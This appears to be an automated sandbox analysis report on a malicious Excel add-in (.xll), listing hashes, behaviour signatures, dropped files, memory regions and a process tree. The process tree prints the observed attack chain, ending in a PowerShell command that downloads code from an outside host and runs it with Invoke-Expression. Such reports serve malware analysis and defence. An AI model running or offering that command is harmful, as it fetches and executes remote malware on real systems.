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Analysis

  • max time kernel
    145s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/05/2024, 17:05

General

  • Target

    19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll

  • Size

    12KB

  • MD5

    1a45c000d7bc9ca4dae871b2ff98f5cb

  • SHA1

    cfce47c3cda5221de356575155da92df3886b10c

  • SHA256

    19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c

  • SHA512

    cc2205d35abae5fac731612cabbd20d8c31aa04d0e19955de575bae1362e1a3c82cf0c4127c6a477c8b571a9c5f57edf61a2354c176edcb7a7ba20fd2ad703ef

  • SSDEEP

    192:gL29RBzDzeobchBj8JONjONNUrujrEPEjr7Ahc:O29jnbcvYJOkYujvr7Cc

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1600
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4252
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4796 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:1324

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\BHC2O5WS\d[1].htm

      Filesize

      2KB

      MD5

      f754844cfb65838d1dd6b19dde5d835c

      SHA1

      b3eb677783adc88c8d048898449e04d49f416db6

      SHA256

      3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

      SHA512

      f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

    • C:\Users\Admin\AppData\Local\Temp\19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll

      Filesize

      12KB

      MD5

      1a45c000d7bc9ca4dae871b2ff98f5cb

      SHA1

      cfce47c3cda5221de356575155da92df3886b10c

      SHA256

      19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c

      SHA512

      cc2205d35abae5fac731612cabbd20d8c31aa04d0e19955de575bae1362e1a3c82cf0c4127c6a477c8b571a9c5f57edf61a2354c176edcb7a7ba20fd2ad703ef

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzd2mtca.x0m.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1600-22-0x00007FF964470000-0x00007FF964480000-memory.dmp

      Filesize

      64KB

    • memory/1600-2-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-6-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-5-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-7-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-9-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-8-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-11-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-12-0x00007FF964470000-0x00007FF964480000-memory.dmp

      Filesize

      64KB

    • memory/1600-14-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-13-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-10-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-15-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-16-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-19-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-20-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-21-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-18-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-17-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-0-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-4-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-91-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-1-0x00007FF9A67CD000-0x00007FF9A67CE000-memory.dmp

      Filesize

      4KB

    • memory/1600-89-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-90-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-88-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-87-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-3-0x00007FF9667B0000-0x00007FF9667C0000-memory.dmp

      Filesize

      64KB

    • memory/1600-70-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/1600-69-0x00007FF9A67CD000-0x00007FF9A67CE000-memory.dmp

      Filesize

      4KB

    • memory/1600-68-0x00007FF9A6730000-0x00007FF9A6925000-memory.dmp

      Filesize

      2.0MB

    • memory/4252-64-0x00000000075C0000-0x0000000007C3A000-memory.dmp

      Filesize

      6.5MB

    • memory/4252-65-0x0000000006490000-0x00000000064AA000-memory.dmp

      Filesize

      104KB

    • memory/4252-63-0x00000000061F0000-0x000000000623C000-memory.dmp

      Filesize

      304KB

    • memory/4252-62-0x0000000004CB0000-0x0000000004CCE000-memory.dmp

      Filesize

      120KB

    • memory/4252-61-0x00000000059A0000-0x0000000005CF4000-memory.dmp

      Filesize

      3.3MB

    • memory/4252-51-0x0000000005930000-0x0000000005996000-memory.dmp

      Filesize

      408KB

    • memory/4252-50-0x00000000058C0000-0x0000000005926000-memory.dmp

      Filesize

      408KB

    • memory/4252-49-0x0000000005090000-0x00000000050B2000-memory.dmp

      Filesize

      136KB

    • memory/4252-48-0x0000000005120000-0x0000000005748000-memory.dmp

      Filesize

      6.2MB

    • memory/4252-47-0x0000000002640000-0x0000000002676000-memory.dmp

      Filesize

      216KB